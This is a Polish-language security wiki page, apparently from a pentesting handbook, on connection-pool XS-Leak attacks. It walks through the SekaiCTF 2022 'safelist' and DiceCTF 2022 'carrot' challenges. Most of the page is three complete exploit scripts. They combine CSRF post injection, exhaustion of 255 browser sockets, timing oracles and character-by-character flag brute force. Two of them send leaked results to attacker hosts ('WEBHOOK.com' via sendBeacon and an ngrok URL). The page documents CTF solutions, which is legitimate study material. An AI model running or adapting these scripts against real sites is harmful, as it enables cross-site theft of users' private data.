# Przykłady Puli Połączeń

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## Sekaictf2022 - safelist

W wyzwaniu [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic_) podaje przykład, jak użyć **wariacji** techniki **Connection Pool** do przeprowadzenia **XS-Leak**.

W tym wyzwaniu celem jest wyekstrahowanie flagi, która pojawi się w sesji web bota w poście. Oto zasoby, które ma atakujący:

- **bot** **odwiedzi** **URL** podany przez atakującego
- Atakujący może **wstrzyknąć HTML** na stronę (ale nie JS, używany jest dompurify) wykorzystując **CSRF**, co sprawi, że **bot stworzy post** z tym HTML.
- Atakujący może wykorzystać CSRF, aby **bot** **usunął** **pierwszy** **post** na stronie.
- Ponieważ **posty** są uporządkowane **alfabetycznie**, gdy **pierwszy post zostanie usunięty**, jeśli **zawartość HTML** atakującego jest **załadowana**, oznacza to, że była **alfabetycznie przed flagą**.

Dlatego, aby ukraść flagę, rozwiązanie zaproponowane przez @Strellyc\_ polega na tym, aby, **dla każdego znaku do przetestowania** sprawić, że bot:

- Stworzy **nowy post**, który **zaczyna się** od znanej części **flag** i kilku **ładunków img**.
- **Usunie** **post** na pozycji **0**.
- Zablokuje 255 gniazd.
- Załaduje stronę z postami.
- Wykona 5 losowych zapytań do strony (w tym przypadku example.com) i zmierzy czas, jaki to zajmie.

> [!WARNING]
> Jeśli **usunięty** post był **flagą**, oznacza to, że wszystkie **obrazy** **wstrzyknięte** w HTML będą **rywalizować** z **5 losowymi zapytaniami** o to **niezablokowane** gniazdo. Co oznacza, że zmierzony czas będzie większy niż w innym scenariuszu.
>
> Jeśli **usunięty** post był **HTML**, **5 losowych zapytań** będzie **szybsze**, ponieważ nie muszą rywalizować o to gniazdo z wstrzykniętym HTML.

### Eksploit 1

To jest kod exploitu, pobrany z [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
<!-- Form to inject HTML code in the bots page -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/create"
id="create"
target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/remove"
id="remove"
target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/"
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data })
console.log(id, payload)
navigator.sendBeacon(WEBHOOK + "?" + id, payload)
}

// Similar to JQuery
const $ = document.querySelector.bind(document)

// Known part of the flag
const known = "SEKAI{"
let alphabet = "_abcdefghijklmnopqrstuvwxyz}"

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)))
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for (let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`
}

// Inject HTML
$("#create input[type=text]").value = payload
$("#create").submit()
await new Promise((r) => setTimeout(r, 1000))

// Remove post with index 0
$("#remove").submit()
await new Promise((r) => setTimeout(r, 500))

let deltas = []

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), {
mode: "no-cors",
signal: controller.signal,
})
} catch (err) {}
}

// block SOCKET_LIMIT sockets
const controller = new AbortController()
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller)
}

// Make the bot access the page with the posts
window.open(
"https://safelist.ctf.sekai.team/?" +
Math.random().toString(36).slice(2),
"pwn"
)
await new Promise((r) => setTimeout(r, 500))

// start meassuring time to perform 5 requests
let start = performance.now()
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
])
let delta = performance.now() - start
document.title = delta
controller.abort()

log("test_" + c + "_" + i, delta)

// Save time needed
deltas.push(delta)
}
return deltas
}

// Check each char
const pwn = async () => {
// Try to leak each character
for (let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i])

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
}

window.onload = async () => {
pwn()
}
</script>
```
### Exploit 2

Ta sama taktyka, ale inny kod z [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form
id="f"
action="http://localhost:1234/create"
method="POST"
target="_blank">
<input id="inp" name="text" value="" />
</form>

<form
id="f2"
action="http://localhost:1234/remove"
method="POST"
target="_blank">
<input id="inp2" name="index" value="" />
</form>
<script>
let flag = "SEKAI{"
const TARGET = "https://safelist.ctf.sekai.team"
f.action = TARGET + "/create"
f2.action = TARGET + "/remove"

const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
const send = (data) => fetch("http://server.ngrok.io?d=" + data)
const charset = "abcdefghijklmnopqrstuvwxyz".split("")

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while (R - L > 3) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for (let i = R; i >= L; i--) {
let c = charset[i]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
send("found: " + flag + c)
flag += c
break
}
}
}, 0)

async function testChar(str) {
return new Promise((resolve) => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value =
str +
'<br><canvas height="3350px"></canvas><br>' +
Array.from({ length: 20 })
.map((_, i) => `<img loading=lazy src=/?${i}>`)
.join("")
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for (let i = 1; i <= 5; i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for (let i = 0; i < round; i++) {
let s = performance.now()
await fetch(TARGET + "/?test", {
mode: "no-cors",
}).catch((err) => 1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t / round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = t >= 1000
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</body>
</html>
```
## DiceCTF 2022 - carrot

W tym przypadku pierwszym krokiem eksploitu było wykorzystanie CSRF do modyfikacji strony, na której znajduje się flaga, aby miała **znacznie więcej treści** (a zatem jej załadowanie zajmuje więcej czasu), a następnie **wykorzystanie puli połączeń do zmierzenia czasu potrzebnego na dostęp do strony**, która potencjalnie może zawierać flagę.

W eksploicie można zobaczyć:

- Wykorzystanie CSRF
- Zajęcie wszystkich gniazd oprócz 1
- Kalibracja odpowiedzi
- Rozpoczęcie brute force poprzez dostęp do potencjalnej strony z flagą
- Potencjalna strona zostanie otwarta, a natychmiast zostanie również otwarty URL kontrolowany przez atakującego, aby sprawdzić, ile czasu zajmują oba żądania.
```html
<h1>DiceCTF 2022 web/carrot</h1>

<p>
Step 1: CSRF the admin user, to set a super long title for the flag note (LAX
+ POST form only possible for 2 minutes after cookies is created)
</p>
<button onclick="csrf()">do csrf</button>
<p>
Step 2: XS-Search with
<a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/"
>connection-pool timing leak</a
>, we have to use window.open (LAX cookie)
</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br />
<br />
<h2 id="output"></h2>
<br />
<form id="x" action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title" />
<br /><br />
<input type="number" name="priority" placeholder="priority" value="9999" />
<br /><br />
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br /><br />
<input type="submit" value="submit" />
</form>

<script>
// this is send is used as logging
LOG = "Starting"
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255
// default
TIMELIMIT = 800
INSTANCE = ""
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(resolve, ms)
})
}

const time_fetch = async () => {
let test_server_url = `https://${MYSERVER}/?${LOG}`
let start = window.performance.now()
try {
await fetch(test_server_url, {
mode: "no-cors",
})
} catch (e) {
console.log(e)
}
let end = window.performance.now()
return end - start
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: "no-cors",
})
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: "no-cors",
})
}

const block_socket = async (i) => {
fetch_sleep_long(i)
// needed?
await sleep(0)
}

const exhaust_sockets = async () => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i)
}
console.log(`Used ${i} connections`)
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {
popup.location = url
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
})
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("")
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char
}
}
return false
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
})
}

const exploit = async (flag = "") => {
console.log("Starting")
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last
while (true) {
last = await brute(flag)
if (last === false) {
return flag
} else {
flag += last
output.innerText = flag
if (last === "}") {
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
} else {
WINBG = window.open(location.href, (target = "_blank"))
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams
if (!p.has("i")) {
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get("i")
// step 1
if (p.has("csrf")) {
csrf()
return
}
// step 2
if (p.has("exploit")) {
// window open is ok in headless :)
popunder()

exploit("dice{")
}
}
</script>
```
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